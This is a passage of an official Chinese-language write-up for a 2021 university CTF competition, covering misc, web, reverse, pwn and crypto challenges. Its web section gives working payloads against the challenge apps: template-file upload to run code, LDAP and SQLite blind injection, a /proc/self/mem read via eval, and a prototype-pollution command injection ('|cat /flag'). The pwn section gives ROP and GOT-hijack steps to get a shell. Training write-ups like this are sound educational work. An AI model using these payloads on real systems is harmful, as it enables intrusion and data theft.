2021年第一届 “东软杯”网络安全CTF竞赛官方WriteUp(转)
MISC
1 簽到
難度 簽到
復制給出的flag輸入即可
2 range_download
難度 中等
flag{6095B134-5437-4B21-BE52-EDC46A276297}
0x01
分析dns流量,發現dns && ip.addr=1.1.1.1存在dns隧道數據,整理后得到base64:
cGFzc3dvcmQ6IG5zc195eWRzIQ==
解base64得到:
password: nss_yyds!
0x02
分析http流量,發現ip.addr==172.21.249.233存在http分段下載數據,每次按照請求頭range要求只下載一個字節。由于是random下載,所以需要按順序整理,整理后可以得到一個加密的壓縮包。
在整理過程中會發現缺失2349位字節,需要嘗試對其進行修復。
由于0x01中,我們得到了zip的密碼,所以可以對該字節進行爆破,如果密碼正確,則修復成功。
0x03
解開壓縮包得到二維碼,
掃描后得到:
5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d
ciphey分析得到flag:
ciphey "5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d" Possible plaintext: '5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786 a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555 570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316 c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d' (y/N): Possible plaintext: '5133687161454v534v6y394w4w325z7854475233566v6870626z42554v6z5z4z5645466x4v47786 z62324v464w47705557464635546w6x536148565165564659645563774v327073515863324u5846555247314555564134555 570706344686957444w336544684x596x4255556v6333636v687165486x756446413351577470566v4242526y6x4z5457316 x515452754w555661636v4z7859556430566x4w3559557844656z4z35626x68334w6w5z4x51513w3w' (y/N): Possible plaintext: 'w3w31515x4z5w6w43386x62653z4z6564487559553w4x6650346559587z4v636166555w45725451 5x6137545z4x6y6252424v665074775153314644657x684561786v6363336v6555524x695x486445633w4447596864436070 755554314655554137425556485u423368515370723v477365546956465561565841635x6w64553646475550774w464v4232 6z68774v4x6645465z4z5z6v45524z6260786v6653325744587z523w4w493y6v435v4541617863315' (y/N): Possible plaintext: 'd3d31515c4a5d6d43386c62653a4a6564487559553d4c6650346559587a4e636166555d45725451 5c6137545a4c6b6252424e665074775153314644657c684561786e6363336e6555524c695c486445633d4447596864436070 755554314655554137425556485f423368515370723e477365546956465561565841635c6d64553646475550774d464e4232 6a68774e4c6645465a4a5a6e45524a6260786e6653325744587a523d4d493b6e435e4541617863315' (y/N): Possible plaintext: 'flag{6095B134-5437-4B21-BE52-EDC46A276297}' (y/N): y ╭────────────────────────────────────────────────────────────────╮
│ The plaintext is a Capture The Flag (CTF) Flag │
│ Formats used: │
│ hexadecimal │
│ base64 │
│ utf8 │
│ base62 │
│ base58_bitcoin │
│ base32 │
│ utf8Plaintext: "flag{6095B134-5437-4B21-BE52-EDC46A276297}" │ ╰────────────────────────────────────────────────────────────────╯
0x04
題目流量生成腳本:
import os
import time
import requests
import random
for i in "cG Fz c3 dv cm Q6 IG 5z c1 95 eW Rz IQ ==".split(" "):
os.system("nslookup " + i+".nss.neusoft.edu.cn 1.1.1.1")
time.sleep(5)
l = int(requests.head("http://172.21.249.233/flag.7z", stream=True).headers["Content-Length"])
a = set()
while len(a) != l:
b = random.randint(0, l)
r = requests.get("http://172.21.249.233/flag.7z", stream=True, headers={"Range": "bytes=" + str(b) + "-" + str(b)})
if r.status_code == 416:
print(b)
a.add(b)
print(len(a))
3 只是個PNG,別想太多了.png
難度 簽到
flag:flag{zhe_ti_mu_ye_tai_bt_le_XD}
本題考察的是對PNG結構以及常見工具的使用。
題目只是在IDAT數據當中存儲了多余的zlib數據流,通過binwalk可以直接進行解壓縮。
binwalk -Me PNG.png
4 png被打得很慘,現在卷土從來
難度 難
flag:
flag{zheshirenchude}
本題考察的是對PNG結構以及常見出題點的了解程度
打開題目是PNG圖片,binwalk無異常
010editor打開發現crc異常,結構暫時沒啥問題。
tweakpng打開發現,IHDR,IDAT,IEND數據塊的CRC值均不對。
之后用StegSolve查看,發現圖片有隱藏的框。框選出了IDAT data,說明IDAT數據應該有特殊之處需要查看。
圖片本身的信息就這么多,從PNG結構來一點點看,首先IHDR區塊CRC有問題,一般說明是圖片高度被修改,通過CRC反計算腳本(或者直接修改高度值盲試)發現圖片下面有隱藏圖像。stegSolve查看,發現有隱藏圖案
三個框分別圈出了png圖片的一些數據結構,第二個框顯示png圖像數據使用zlib方式壓縮。框選此處說明需要注意zlib壓縮數據。
第三個框是具體壓縮塊數據結構。此圖片內容為libpng官網文檔截圖,但是實際訪問官網,可發現標注的壓縮塊結構標注并不符合。
數字被故意修改過,所以可知2233這串數字應該為題目的某個key或者hint。
之后所有的IDAT數據塊CRC值均不正確。將所有CRC值拷貝下來。hex解碼。發現是hint
hintis[IEND_and_11]_jiayou_XD.
根據hint查看IEND,正常IEND數據應為空,僅作為文件結束標志。但是現在卻有數據。
提取數據,發現前四位為9C 78,而zlib數據頭為78 9C。修改前四位進行解壓。發現是base64,之后進行解碼。最后得出flag第一段
flag{zheshi
得到第一段之后,hint里面的11,還沒有解決。通過查看發現chunk 11,是最后一個IDAT數據塊。根據之前還有一個hint 2233,全數據塊搜索2233。發現數據塊末尾含有2233,僅此一個
根據前一段flag,猜測此處也是zlib壓縮,將從2233開頭到CRC值之前的32個HEX值復制,修改2233為zlib數據頭78 9C
發現解碼完數據為一種編碼,根據前一段flag來猜測,此處應該是其他base家族類的編碼。通過basecrack或者在線base解碼,可得知此為base91,解碼為renchude}
后一段flag為:renchude}
合并兩段,得到最終flag
flag{zheshirenchude}
5 在哪呢
難度 簡單
查看PDF
在文字中發現多處顏色越來越淡的提示
想到flag可能被以白色隱藏到文字中,全選文字
發現倒數第二段段尾有一段空白字
復制出來或編輯為其它顏色
得到flag
flag{hey_there_is_no_thing}
6 ecryptedzip
難度:難
本題考察的是對明文攻擊的實戰應用 在實際環境中不會主動提供明文文件用于明文攻擊 需要自己尋找明文文件或部分明文進行攻擊
壓縮包內含有兩個文件LICENSE和README.md
LICENSE為開源證書文件
將常?開源協議全下載下來 對比大小
發現Apache 2.0大小極為相近
使用github 內置的LICENSE文件可以成功解密
還有一種簡單的方法 開源許可證很多都是空格開頭 可以直接使用多個重復空格作為明文
7 easysteg
難度 簡單
可以看到一個缺少定位符的二維碼,補全后拿到提示:一種常見的隱寫
分離圖片拿到壓縮包
解壓后配合觀察圖片名稱格式,使用stegpy拿到flag
flag{Do_U_Kn0w_Ste9py??}
8 壓縮包壓縮包壓縮包
難度 簡單
第一層為50996.zip
寫腳本解密遞歸壓縮包 300層
解題腳本
mkdir zips
mkdir zips/files
mv 50996.zip ./zips
cd zips
while :
do
file=$(ls -t | tail -1)
pass=$(zipinfo $file | grep - | cut -d ' ' -f12 | cut -d . -f1)
unzip -P $pass $file
echo "unzip -P $pass $file"
mv $file ./files
done
最后一層為23333.zip 6位數字密碼為756698
打開sqlite在employees表中找到flag
flag{Unz1p_i5_So_C00l##}
WEB
9 flag
難度 中等
解法一
人肉排序,然后口算base64
解法二
等網站輸出足夠多,復制下來,然后利用大部分文本編輯器都支持的查找/替換功能將消息替換成類似如下的格式。
a = list("a" * 20)
...
a[1]="a"
a[20]="b"
a[3]="c"
...
# 最后
import base64
print(base64.b64decode(''.join(a)))
解法三
題目SSE實時推送消息至瀏覽器,路由為'/flag',可以直接:
import base64
from sseclient import SSEClient
flag = ""
for msg in SSEClient('http://127.0.0.1/flag'):
msg = (str(msg).split(","))
msg[1] = str(msg[1]).replace("叉(小寫)", "x").replace("叉(大寫)", "X")
if flag == "":
flag = list("?" * int(msg[0][2:-1])
)
if "?" not in "".join(flag):
break
flag[int(msg[1][1:-3])] = msg[1][-1]
print(base64.b64decode("".join(flag)))
等著輸出就行了
Tips
題目根據瀏覽器是否成功加載http://burp/favicon.ico圖片來判斷選手是否開啟了BurpSuite。如果開啟則會跳轉至/Index,而正確的路由是/lndex。
如果被檢測到BurpSuite,會記錄在session中,需要清空一下瀏覽器cookie再試。
10 odd_upload
本題考察的是新生對模板引擎的認識.
難度:中等
通過頁面提示.很容易發現題目使用了smarty模板引擎的demo項目
題目提供了一個上傳點. 后端使用了嚴格的后綴黑名單防止上傳php或Apache配置文件.
可通過覆蓋模板文件.tpl 控制模板內容
POST /? HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------43155698238817916993932117986
Content-Length: 365
Origin: http://
DNT: 1
Connection: close
Referer: http://
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------43155698238817916993932117986
Content-Disposition: form-data; name="file"; filename="header.tpl"
Content-Type: application/octet-stream
{phpinfo()}
-----------------------------43155698238817916993932117986
Content-Disposition: form-data; name="path"
templates/
-----------------------------43155698238817916993932117986--
再次訪問首頁 之前修改的模板被渲染 執行phpinfo函數 拿到環境變量中的flag
11 Easyinject
本題考察的是Ldap注入
難度:簡單
首先通過頁面注釋賬號登陸 發現提示 flag是在目錄里面的某一個用戶的郵箱屬性
通過關鍵詞“目錄“ “屬性”可判斷出題目使用了ldap 或在fuzz時頁面報錯也可以判斷出使用了ldap
這時可以使用通配符*猜測郵箱
L*
Ld*
Lda*
這里注意有重疊的字符串需要額外做處理
Ps 在讀提交上來的wp時發現很多同學都是先跑出用戶在跑郵箱 并且猜測出了原過濾器還構造了復雜的playload. 其實可以直接跑郵箱地址不用構造用戶查詢. 原本設計的是跑出ldap密碼的題目. 比賽前覺得難度可能有點高不適合新生. 在收集的wp中居然有大佬跑出了原先設計的ldap密碼. dltql
12 Hideandseek
難度:難
題目提示1: 要怎樣才能讀到內存里面的flag呢?
題目提示2: linuxの奇妙文件系統
<?php
highlight_file(__FILE__);
//docker
//FROM php:8.1.0
//disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask
//disable_classes = FFI
//chmod -R 0555 html/
//php -S 0.0.0.0:8000
function main(){
$flag=file_get_contents('/flag');//看到這個flag了嗎 (°▽°)ノ?
if($flag==''){
die('看來你失敗了');
}
file_put_contents('/flag','');//我把它覆蓋了都不給你 ( ̄▽ ̄)
test();
}
function test(){
eval($_REQUEST['eval']);//來試試讀flag吧 只有一次機會哦 執行結束flag真的會消失的說 重啟容器間隔會很長時間呢 本地試好了再來試試吧 (? ̄△ ̄)?
}
if(isset($_REQUEST["eval"])){
main();
}
?>
本題需要完成讀取php進程內存操作
分析代碼: 讀取flag文件賦給$flag局部變量,目標是讀取這個$flag變量的內容
但是走到test函數時不能讀到其他函數的局部變量
只能通過讀取內存獲得flag.
這時可利用linux虛擬文件系統的特性讀取內存
讀取 /proc/self/maps 獲取 進程自身內存布局
使用獲取到的布局信息讀取自身內存
/proc/self/mem (需要給出正確的偏移量才能成功讀取)
?eval=$maps = file_get_contents('/proc/self/maps');$handle=fopen('/proc/self/mem','r');$r=explode(PHP_EOL,$maps);var_dump(explode('-',$r[7])[0]);fseek($handle,hexdec(explode('-',$r[7])[0]));echo fread($handle,10000000);
在dump出的內存尋找flag{字符串 即可獲得flag
13 dirtyrce
難度:難
var express = require('express');
var nodeCmd = require('node-cmd');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
const port = 80;
app.use(bodyParser.urlencoded({
extended: true
})).use(bodyParser.json());
function isValidIP(ip) {
var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/;
return reg.test(ip);
}
app.post("/ping",
function(req, res, next) {
b = req.body.cmd;
if (req.body.ping === undefined) {
res.send('invalid parm');
return;
}
ping = req.body.ping
if (ping.time !== undefined) {
time = Number(ping.time);
if (time > 10 || time < 1) {
res.send('invalid time');
return;
}
if (Object.keys(ping).length != 1 && ping.ip !== undefined && ping.ip != '') {
if (!isValidIP(ping.ip)) {
res.send('invalid ip addr');
return;
}
}
} else {
res.send('need time parm');
return;
}
ip = ((ping.ip !== undefined && ping.ip != '') ? ping.ip: '114.114.114.114');
nodeCmd.run('ping -c ' + time + ' ' + ip, //WINDOWS USE -n
function(err, data, stderr) {
res.send(data);
return;
});
});
app.get('/',
function(req, res, next) {
res.redirect('index');
});
app.get('/index',
function(req, res, next) {
res.send('<title>ping test</title><form action="/ping" method="POST">Ip:<input type="text" name="ping[ip]"" placeholder="default value 114 dns"><br>Times:<input type="text" name="ping[time]" value="1"><input type="submit" value="Ping !"></form> ');
});
app.listen(port);
/ping 路由內有命令執行操作 但是ip經過嚴格的正則校驗 無法繞過,time也有強制類型轉換.
只能想辦法繞過這個校驗.
通讀代碼發現當輸入參數數量為1且參數為time時不會校驗flag內容.
在后續還會使用三元運算符判斷ip是否為空.
構造原型污染 污染ping數組的原型 即可完成以上條件 達到命令執行的效果.
ping[__proto__][ip]=|cat /flag&ping[time]=10
14 wschat
一個 nodejs+sqllite寫的輕量聊天室
難度:?
本題考察特殊sql注入點的利用
現在使用ws協議的網站越來越多 (出題時我就想到了為什么不出一道題目來學學ws注入)
題目也使用了protobuf這是一種像json的結構化數據,在現在的httprpc中也非常常見.
該題前后端交互使用了socket.io,通信使用protobuf做結構化數據.
前端代碼做了輕度混淆,并且具有反調試功能.
閱讀前端代碼發現,用戶輸入存在正則校驗.
開始解題
去除反調試和正則校驗(修改js)
手動測試發現注入點
登陸處存在注入
猜測語句為select xx from xx where xx='username'
注冊一個賬號adad 使用布爾注入
sqlite的布爾盲注方法
判斷表數量
adad' and (select count(*) from sqlite_master where type='table')=5 --
表名
and substr((select name from sqlite_master where type='table' limit 0,1),1,1)='T'
列名
and substr((SELECT sql FROM sqlite_master where name='user_table'),33,1)='I'
記錄
and substr((SELECT f16g FROM f16g_1s_1n_th1s_table),1,1)='f'
本題有兩種解題方法
第一種方法
編寫js腳本在瀏覽器運行 進行注入.
第二種方法非常復雜 脫離瀏覽器編寫腳本直接與ws后端通信.
可惜在比賽結束前沒有隊伍解出這道題.但是在結束后or4nge團隊提交了這道題目的wp 且使用了第二種方法.完美地完成了該題. 大家有興趣可以看看or4nge戰隊大佬的題解
(https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/)
RE
15 signin
直接查看字符串表即可獲得flag
16 happyCTF
這道題是用c++寫的,其實代碼核心很簡單就只是單字節異或,所以把密文當成明文輸入就能得到flag,只是驗證的過程稍微麻煩,是一個遞歸驗證的算法,不過沒什么用換成strcmp效果是一樣的,只是起到一個迷惑的作用,原始代碼很簡單,但是開啟代碼優化以后再用ida反編譯看起來就很亂了,這也是起到迷惑作用。加密的核心部分是用lambda匿名函數實現的起到一個加密代碼隱藏的作用,防止這個最簡單的加密被直接找到,所以下一次試試把密文當成flag輸入,說不定有驚喜
17 Remember Crypt 4
如果對ctf常用的加密算法熟悉的話,看到ida的反匯編會很眼熟,這是一道很簡單的rc4加密,該算法的特點是它可以自定義密碼表,所以可以起到一點迷惑作用,但是沒什么用,rc4是對稱加密,所以只需把密文當成明文重新加密一邊就能得到明文,所以碰到一些加密算法可以試試這個辦法,萬一是對稱加密呢,直接就出flag了
貼一份rc4的代碼
void rc4_init(unsigned char*s,unsigned char*key,unsigned long len)//s最開始是傳入的長度為256的char型空數組,用來存放初始化后的s
//key是密鑰,內容可定義 //最后一個len是密鑰的長度
{
int i=0;
int j=0;
unsigned char k[256]={};
unsigned char temp = 0;
for(i=0;i<256;i++)
{
s[i]=i; //0-255賦給s
k[i]=key[i%len]; //將k重新計算
}
for(i=0;i<256;i++)
{
j=(j+s[i]+k[i])%256; //給j賦
temp=s[i];
s[i]=s[j];
s[j]=temp; //s[i]和s[j]交換
}
}
18 EasyRe
題目是基于Linux Signal機制的VM題目,parent進程和child進程間通過signal通信,執行opcode,調試難度比較高。并且signal的注冊在main函數之前。
具體解法可以參照or4nge戰隊以及chamd5團隊給出的wp
(https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/)
(https://mp.weixin.qq.com/s/KgxHOFH52EE8z7NnMTSIDA)
PWN
19 NssShop
難度:簽到題
真 簽到題 不會PWN的同學也可以來試試
一道非常簡單的整數溢出題
在計算總價格時會發生溢出
達成0元購(x)
20 justdoit
把軟件載入ida看一看反編譯,很普通,發現主函數調用了read(),然后又調用了這個read_long(),看一眼內容
沒什么奇怪的地方,看看反匯編
發現了奇怪的指令,add rbp,rax,而rax是上面read_long中atoi的輸出,所以我們可以控制一下rbp的值
題目很簡單,沒有pie所以可以用rop,沒有canary所以可以用bof,也可以部分劫持got表,也給了libc,我們可以用puts_plt 來泄漏 libc 的地址,通過一些調試之后,發現可以在payload中再次調用main函數來控制4個塊的payload
在堆棧里,我們將main地址推送到 0x7fffffffde70 并添加 rbp 到達 0x7fffffffde68 的ip
然后當程序調用 leave,ret 時,rbp 會被設置為 = 0x00000a3131313131。
現在的 rsp 是 0x7ffffffffde78,但是在返回到 main 函數之后,有這兩條指令
push rbp
和
mov rbp, rsp
看上面的堆棧圖,紅色塊是前三個read_long()塊里面的第二個,這個塊我們可以放任意內容(塊3需要放main地址,塊1放string控制rbp),然后用payload pop_rdi, address, puts, ret去泄露libc,然后返回main函數重用漏洞。
所以現在只需要放入payload pop_rdi、/bin/sh、system 然后控制 rbp 即可獲得 shell。
21 reallNeedGoodLuck
這個題就比較有意思了,在IDA可以看到代碼很簡單,代碼內容就是可以讓你在任意地址寫入4個字節,軟件也沒有pie所以地址都是固定的,也可以劫持got表。
首先,把exit GOT改成main,這樣我們就有了main函數的無限循環。然后我們可以根據需要覆蓋任意多次。
題目的一種比較明顯的解法是把atoi函數更改為system,然后將字符串“/bin/sh”放入nptr變量中,然后在調用atoi("/bin/sh")時,程序將執行system(" /bin /sh"),然后get shell
所以問題就是如何替換到正確的地址,因為atoi已經調用過,所以got表中有其libc地址,所以通過用system
函數地址的最后三個字節覆蓋原始地址的最后三個字節即可,需要一些好運
22 iterator
在處理迭代器時,沒有合理的判斷迭代器范圍,導致了指針越界。合理布局內存可以覆寫Vector的結構體,執行任意內存讀寫,最終劫持Got表。
此處可以參考地運團隊dalao的wp:
https://mp.weixin.qq.com/s/C0Vn_5NnGCd8Sn6--otsgA
CRYPTO
23 EzDES
一輪des沒有多輪s盒干擾,所以該題難度是對des加密流程和算法的了解,可以通過窮舉密鑰和差分分析等方法實現,該腳本主要的思想是將明文加密到一半得到s盒置換前的數據,將密文解密到一半得到s盒置換后的數據,異或這兩組數據可得可能的des密鑰,然后將可能的des密鑰存儲到數組中,比對3組明密文,即可得出密鑰。多輪的des加密差分分析思想也是同理,通過多組明密文得出密鑰的可能性,選擇最大可能性的密鑰。
# -*- coding: UTF-8 -*-
# Plaintext = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F']
def twoto16(new_p_box_list):
str = []
for i in range(8):
sum = new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0
#print(sum)
str.append(hex(sum))
return str
# 進制轉換 十六進制轉換二進制以及二進制轉換為十六進制數
def hex_to_binary(str):
initialplaintext = []
initialresult = bin(int(str,16))[2:]
initialresult = initialresult.zfill(len(str)*4)
for i in range(len(initialresult)):
initialplaintext.append(initialresult[i])
return initialplaintext
def binary_to_hexadecimal(bin_list):
bin_str = ''.join(bin_list)
hstr = hex(int(bin_str, 2))[2:].upper()
l = len(bin_str) // 4
for i in range(l - len(hstr)):
hstr = "0" + hstr
return hstr
#初始置換IP
_ip = [57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7,
56,48,40,32,24,16,8,0,
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6
]
def substitution(table):
result_table = [0]*64
for i in range(64) :
result_table[i] = table[_ip[i]]
return result_table
#初始逆置換IP
_fp = [39,7,47,15,55,23,63,31,
38,6,46,14,54,22,62,30,
37,5,45,13,53,21,61,29,
36,4,44,12,52,20,60,28,
35,3,43,11,51,19,59,27,
34,2,42,10,50,18,58,26,
33,1,41,9,49,17,57,25,
32,0,40,8,48,16,56,24
]
_fp2 = [57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7,
56,48,40,32,24,16,8,0,
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
]
def inverse_substitution(table) :
result_table = [0] *64
for i in range(64) :
result_table[i] = table[_fp[i]]
return result_table
def reverse_substitution(table):
result_table = [0]*64
for i in range(64):
result_table[i] = table[_fp2[i]]
return result_table
#擴展置換
_extend_table = [
31,0,1,2,3,4,
3,4,5,6,7,8,
7,8,9,10,11,12,
11,12,13,14,15,16,
15,16,17,18,19,20,
19,20,21,22,23,24,
23,24,25,26,27,28,
27,28,29,30,31,0
]
def extend_replacement(Right_table) :
extend_list = [0] * 48
for i in range(48):
extend_list[i] = Right_table[_extend_table[i]]
return extend_list
#與子密鑰異或
def xor(lits,Key):
result = []
for i in range(len(lits)):
result.append(int(lits[i]) ^ int(Key[i]))
return result
#S盒替換
S1 = [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]
S2 = [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]
S3 = [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]
S4 = [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]
S5 = [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]
S6 = [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]
S7 = [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]
S8 = [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]
S_list = [S1, S2, S3, S4, S5, S6, S7, S8]
#S盒置換
def s_box_replace(xor_list_key):
result = []
for i in range(8):
row = int(xor_list_key[i * 6] + xor_list_key[i * 6 + 5], 2)
column = int(xor_list_key[i * 6 + 1] + xor_list_key[i * 6 + 2] + xor_list_key[i * 6 + 3] + xor_list_key[i * 6 + 4], 2)
s_result=S_list[i][row*16+column]
num = bin(s_result)[2:].zfill(4)
result.extend(num)
return result
def _s_box_replace(new_p_box_list):
result = [[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]]]
for i in range(8):
sp = [0,0,0,0]
sp[0] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),0,16)
sp[1] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),16,32)
sp[2] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),32,48)
sp[3] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),48,64)
for j in range(4):
row = [0,0,0,0]
clum = [0,0,0,0]
row[j]= int(sp[j]) // 16
clum[j] = int(sp[j]) % 16
_num1 = [0,0]
_num2 = [0,0,0,0]
_num1 = bin(clum[j])[2:].zfill(2)
_num2 = bin(clum[j])[2:].zfill(4)
result[i][j] =[int(_num1[0]),int(_num2[0]),int(_num2[1]),int(_num2[2]),int(_num2[3]),int(_num1[1])]
return result
#p盒置換
p_box = [16, 7, 20, 21, 29, 12, 28, 17,
1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9,
19, 13, 30, 6, 22, 11, 4, 25]
_p_box = [9,17,23,31,13,28,2,18,
24,16,30,6,26,20,10,1,
8,14,25,3,4,29,11,19,
32,12,22,7,5,27,15,21]
def p_box_replace(str):
result = [0] * 32
for i in range(32):
result[i] = str[p_box[i] - 1]
return result
def _p_box_replace(str):
result = [0] * 32
for i in range(32):
result[i] = str[_p_box[i] - 1]
return result
def key_poss(plaintext, miwen, shu):
#print("明文", shu, ":", plaintext)
# #print("密鑰:",key_table)
#將明文和密鑰16進制字符串轉為2進制列表
plaintext_result = hex_to_binary(plaintext)
miwen_result = hex_to_binary(miwen)
#將明文和密鑰2進制字符列表轉為2進制整型列表
plaintext_result_int = list(map(int,plaintext_result))
miwen_result_int =list(map(int,miwen_result))
#對明文做初始置換
initial_table=substitution(plaintext_result_int)
initial_str=binary_to_hexadecimal(list(map(str,initial_table)))
#print("明文", shu, "的初始置換:",initial_str)
L_list = [initial_table[i] for i in range(32)]
R_list = [initial_table[i] for i in range(32,64)]
#print("明文", shu, "的R邊:", R_list)
# L_new_list=R_list
#進行擴展置換
extend_list=extend_replacement(R_list)
# #print (extend_list)
new_extend_list= [[extend_list[i] for i in range(0, 6)],
[extend_list[i] for i in range(6, 12)],
[extend_list[i] for i in range(12, 18)],
[extend_list[i] for i in range(18, 24)],
[extend_list[i] for i in range(24, 30)],
[extend_list[i] for i in range(30, 36)],
[extend_list[i] for i in range(36, 42)],
[extend_list[i] for i in range(42, 48)]]
#print("明文", shu, "的擴展置換:", new_extend_list)
#miwen caozuo
#IP ni zhihuan
_IP_table = reverse_substitution(miwen_result_int)
_IP__str = binary_to_hexadecimal(list(map(str, _IP_table)))
# #print(_IP__str)
#miwen L R
_L_list = [_IP_table[i] for i in range(32)]
_R_list = [_IP_table[i] for i in range(32, 64)]
_r_list_new = xor(_R_list, L_list)
#_P zhihuan
_p_box_list=_p_box_replace(_r_list_new)
new_p_box_list = [[_p_box_list[i] for i in range(0, 4)],
[_p_box_list[i] for i in range(4, 8)],
[_p_box_list[i] for i in range(8, 12)],
[_p_box_list[i] for i in range(12, 16)],
[_p_box_list[i] for i in range(16, 20)],
[_p_box_list[i] for i in range(20, 24)],
[_p_box_list[i] for i in range(24, 28)],
[_p_box_list[i] for i in range(28, 32)],]
# #print(new_p_box_list)
